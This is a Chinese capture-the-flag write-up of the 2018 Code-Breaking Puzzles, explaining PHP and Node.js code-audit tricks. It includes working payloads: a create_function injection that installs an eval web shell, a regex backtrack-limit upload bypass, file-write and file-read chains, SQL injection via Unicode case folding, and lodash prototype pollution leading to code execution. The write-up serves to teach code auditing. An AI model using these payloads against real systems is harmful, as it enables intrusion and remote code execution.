作者:LoRexxar’@知道創宇404實驗室
時間:2018年12月7日
如果你想第一時間了解漏洞資訊,可以關注我們的知道創宇Paper:https://paper.seebug.org/755/
@phith0n 在代碼審計小密圈二周年的時候發起了Code-Breaking Puzzles挑戰賽,其中包含了php、java、js、python各種硬核的代碼審計技巧。在研究複現the js的過程中,我花費了大量的精力,也逐漸找到代碼審計的一些技巧,這裡主要分享了5道ez題目和1道hard的the js這道題目的writeup,希望閱讀本文的你可以從題目中學習到屬于代碼審計的思考邏輯和技巧。
easy - function
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
思路還算是比較清晰,正則很明顯,就是要想辦法在函數名的頭或者尾找一個字元,不影響函數調用。
簡單實驗了一下沒找到,那就直接fuzz起來吧
很容易就fuzz到了就是
\
這個符号
後來稍微翻了翻别人的writeup,才知道原因,
在PHP的命名空間預設為
`,所有的函數和類都在
\
這個命名空間中,如果直接寫函數名function_name()調用,調用的時候其實相當于寫了一個相對路徑;而如果寫\function_name() 這樣調用函數,則其實是寫了一個絕對路徑。如果你在其他namespace裡調用系統類,就必須寫絕對路徑這種寫法。`
緊接着就到了如何隻控制第二個參數來執行指令的問題了,後來找到可以用
create_function
來完成,
create_function
的第一個參數是參數,第二個參數是内容。
函數結構形似
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
然後執行,如果我們想要執行任意代碼,就首先需要跳出這個函數定義。
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
這樣一來,我們想要執行的代碼就會執行
exp
http://51.158.75.42:8087/?action=%5Ccreate_function&arg=return%202333;%7Deval($_POST%5B%27ddog%27%5D);%2f%2f
easy pcrewaf
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
這題自己研究的時候沒想到怎麼做,不過思路很清楚,檔案名不可控,唯一能控制的就是檔案内容。
是以問題的症結就在于如何繞過這個正規表達式。
/<\?.*[(`;?>].*/is
簡單來說就是
<
後面不能有問号,
<?
後面不能有
(;?>
反引号,但很顯然,這是不可能的,最少執行函數也需要括号才行。從正常的思路肯定不行
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
之後看ph師傅的文章我們看到了問題所在,
pcre.backtrack_limit
這個配置決定了在php中,正則引擎回溯的層數。而這個值預設是1000000.
而什麼是正則引擎回溯呢?
在正則中
.*
表示比對任意字元任意位,也就是說他會比對所有的字元,而正則引擎在解析正則的時候必然是逐位比對的,對于
<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
這段代碼來說
首先<比對<
然後?比對?
然後.*會直接比對到結尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
緊接着比對[(`;?>],問題出現了,上一步比對到了結尾,後面沒有滿足要求的符号了。
從這裡開始正則引擎就開始逐漸回溯,知道符合要求的;出現為止
但很顯然,服務端不可能不做任何限制,不然如果post一個無限長的資料,那麼服務端就會浪費太多的資源在這裡,是以就有了
pcre.backtrack_limit
,如果回溯次數超過100萬次,那麼比對就會結束,然後跳過這句語句。
回到題目來看,如果能夠跳過這句語句,我們就能上傳任意檔案内容了!
是以最終post就是傳一個内容為
<?php phpinfo();//a*1000000
對于任何一種引擎來說都涉及到這個問題,尤其對于檔案内容來說,沒辦法控制檔案的長度,也就不可避免的會出現這樣的問題。
對于PHP來說,有這樣一個解決辦法,在php的正則文檔中提到這樣一個問題
preg_match
傳回的是比對到的次數,如果比對不到會傳回0,如果報錯就會傳回false
是以,對
preg_match
來說,隻要對傳回結果有判斷,就可以避免這樣的問題。
easy - phpmagic
題目代碼簡化之後如下
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
稍微閱讀一下代碼不難發現問題有幾個核心點
1、沒辦法完全控制dig的傳回,由于沒辦法指令注入,是以這裡隻能執行dig指令,唯一能控制的就是dig的目标,而且傳回在顯示之前還轉義了尖括号,是以
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q 1232321321
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;1232321321. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400
;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE rcvd: 103
2、
in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
這句過濾真的很嚴格,實在的講沒有什麼直白的繞過辦法。
3、log前面會加上
$_SERVER['SERVER_NAME']
第一點真的是想不到,是看了别人的wp才想明白這個關鍵點 http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
之前做題的時候曾經遇到過類似的問題,可以通過解base64來隐藏自己要寫入的内容繞過過濾,然後php在解析的時候會忽略各種亂碼,隻會從
<?php
開始,是以其他的亂碼都不會影響到内容,唯一要注意的就是base64是4位一解的,主要不要把第一位打亂掉。
簡單測試一下
$output = <<<EOT
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q "$domain"
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;1232321321. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400
;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE rcvd: 103
EOT;
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
var_dump($output);
var_dump(base64_decode($output));
這樣一來我們就能控制檔案内容了,而且可以注入
<?php
了
接下來就是第二步,怎麼才能控制logname為調用php僞協定呢?
問題就在于我們如何控制
$_SERVER['SERVER_NAME']
,而這個值怎麼定是不一定的,這裡在這個題目中是取自了頭中的host。
這樣一來頭我們可以控制了,我們就能調用php僞協定了,那麼怎麼繞過字尾限制呢?
這裡用了之前曾經遇到過的一個技巧(老了記性不好,翻了半天也沒找到是啥比賽遇到的),test.php/.就會直接調用到test.php
通過這個辦法可以繞過根據.來分割字尾的各種限制條件,同樣也适用于目前環境下。
最終poc:
easy - phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
這個代碼就簡單多了,簡單來說就是隻能執行一個函數,但不能設定參數,這題最早出現是在RCTF2018中
https://lorexxar.cn/2018/05/23/rctf2018/
在原來的題目中是用
next(getallheaders())
繞過這個限制的。
但這裡getallheaders是apache中的函數,這裡是nginx環境,是以目标就是找一個函數其傳回的内容是可以控制的就可以了。
問題就在于這種函數還不太好找,首先nginx中并沒有能擷取all header的函數。
是以目标基本就鎖定在會不會有擷取cookie,或者所有變量這種函數。在看别人writeup的時候知道了
get_defined_vars
這個函數
http://php.net/manual/zh/function.get-defined-vars.php
他會列印所有已定義的變量(包括全局變量GET等)。簡單翻了翻PHP的文檔也沒找到其他會涉及到可控變量的
在原wp中有一個很厲害的操作,直接reset所有的變量。
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
然後隻有目前get指派,那麼就隻剩下get請求的變量了
後面就簡單了拼接就好了
然後…直接列目錄好像也是個不錯的辦法2333
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
easy - nodechr
nodejs的一個小問題,關鍵代碼如下
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
這裡的注入應該是比較清楚的,直接拼接進查詢語句
這裡的注入應該是比較清楚的,直接拼接進查詢語句沒什麼可說的。
然後safekeyword過濾了
select union --
;這四個,下面的邏輯其實說簡單的就一句
c = `SELECT * FROM "users" WHERE "username" = '${a.toUpperCase()}' AND "password" = '${b.toUpperCase()}'`
如何構造這句來查詢flag,開始看到題一味着去想盲注的辦法了,後來想明白一點,在注入裡,沒有select是不可能去别的表裡拿資料的,而題目一開始很明确的表明flag在flag表中。
是以問題就又回到了最初的地方,如何繞過safekeyword的限制。
ph師傅曾經寫過一篇文章 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
在js中部分字元會在toLowerCase和toUpperCase處理的時候發生難以想象的變化
"?"、"?"這兩個字元在變大寫的時候會變成I和S
"?"這個字元在變小寫的時候會變成k
用在這裡剛好合适不過了。
username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1
hard - thejs
javascript真難…
關鍵代碼以及注釋如下
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //對post請求的請求體進行解析
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16), // 随機數
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模闆引擎
fs.readFile(filePath, (err, content) => { //讀檔案 filepath
if (err) return callback(new Error(err))
let compiled = lodash.template(content) //模闆化
let rendered = compiled({...options}) //動态引入變量
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // merge 合并字典
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
由于對node不熟,初看代碼的時候簡單研究了一下各個部分都是幹嘛的。然後就發現整個站幾乎沒什麼功能,就是擷取輸入然後取其中固定的輸出,起碼就自己寫的代碼來說不可能有問題。
再三思考下覺得可能問題在引入的包中…比較明顯的就是
lodash.merge
這句,這句代碼在這裡非常刻意,于是就順着這個思路去想,簡單翻了一下代碼發現沒什麼收獲。後來@spine給了我一個連結
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
js特性
首先我們可以先回顧一下js的一部分特性。
由于js非常面向對象的程式設計特性,js有很多神奇的操作。
在js中你可以用各種方式操作自己的對象。
在js中,所有的對象都是從各種基礎對象繼承下來的,是以每個對象都有他的父類,通過prototype可以直接操作修改父類的對象。
而且子類會繼承父類的所有方法。
在js中,每個對象都有兩個魔術方法,一個是
constructor
另一個是
__proto__
。
對于執行個體來說,constructor代表其構造函數,像前面說的一樣,函數可以通過prototype擷取其父對象
function myclass () {}
myclass.prototype.myfunc = function () {return 233;}
var inst = new myclass();
inst.constructor // return function myclass
inst.constructor.prototype // return the prototype of myclass
inst.constructor.prototype.myfunc() // return 233
而另一個魔術方法
__proto__
就等價于
.constructor.prototype
由于子類會繼承父類的所有方法,是以如果在目前對象中找不到該方法,就會到父類中去找,直到找不到才會爆錯
在複習了上面的特性之後,我們回到這個漏洞
回到漏洞
在漏洞分析文中提到了這樣一種方式
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
假設對于語句
obj[a][b][c] = value
如果我們控制a為constructor,b為prototype,c為某個key,我們是不是就可以為這個對象父類初始化某個值,這個值會被繼承到目前對象。同理如果a為
__proto__
,b也為
__proto__
,那麼我們就可以為基類
Object
定義某個值。
當然這種代碼不會随時都出現,是以在實際場景下,這種攻擊方式會影響什麼樣的操作呢。
首先我們需要了解的就是,我們想辦法指派的
__proto__
對象并不是真正的這個對象,如圖
是以想要寫到真正的
__proto__
中,我們需要一層指派,就如同原文範例代碼中的那樣
通過這樣的操作,我們就可以給Object基類定義一個變量名。
由于子類會繼承父類的所有方法,但首先需要保證子類沒有定義這個變量,因為隻有目前類沒有定義這個變量,才會去父類尋找。
在js代碼中,經常能遇到這樣的代碼
if (!obj.aaa){
...
}
這種情況下,js會去調用obj的aaa方法,如果aaa方法undefined,那麼就會跟入到obj的父類中(js不會直接報該變量未定義并終止)。
這種情況下,我們通過定義obj的基類Object的aaa方法,就能操作這個變量,改變原來的代碼走向。
最後讓我們回到題目中來。
回到題目
回到題目中,這下代碼的問題點很清楚了。整個代碼有且隻有1個輸入點也就是
req.body
,這個變量剛好通過
lodash.merge
合并.
這裡的
lodash.merge
剛好也就是用于将兩個對象合并,成功定義了
__proto__
對象的變量。
我們也可以通過上面的技巧去覆寫某個值,但問題來了,我們怎麼才能getshell呢?
順着這個思路,我需要在整個代碼中尋找一個,在影響Object之後,且可以執行指令的地方。
很幸運的是,雖然我沒有特别研究明白nodejs,但我還是發現模闆是動态生成的。
這裡的代碼是在請求後完成的(動态渲染?)
跟入到template函數中,可以很清楚的看到
接下來就是這一大串代碼中尋找一個可以影響的變量,我們的目标是找一個未定義的變量,且後面有判斷調用它
這裡的sourceURL剛好符合這個條件,我們直接跟入前面的options定義處,進入函數一直跟下去,直到lodash.js的3515行。
可以看到object本身沒有這個方法,但仍然周遊到了,成功注入了這個變量,緊接着渲染模闆就成功執行代碼了。
完成攻擊
其實發現可以注入代碼之後就簡單了,我朋友說他不能用child_process來執行指令,我測試了一下發現是可以的,隻是不能彈shell回來不知道怎麼回事。思考了一下決定直接wget外帶資料出來吧。
poc
需要注意一定要是json格式,否則**proto**會解成字元串,開始坑了很久。
直接偷懶用ceye接請求,其實用什麼都行
本文由 Seebug Paper 釋出,如需轉載請注明來源。
歡迎關注我和專欄,我将定期搬運技術文章~
也歡迎通路我們:知道創宇雲安全 :https://www.yunaq.com/?from=CSDN91917
或撥打熱線電話:400-833-1123
如果你想與我成為朋友,歡迎加微信kcsc818~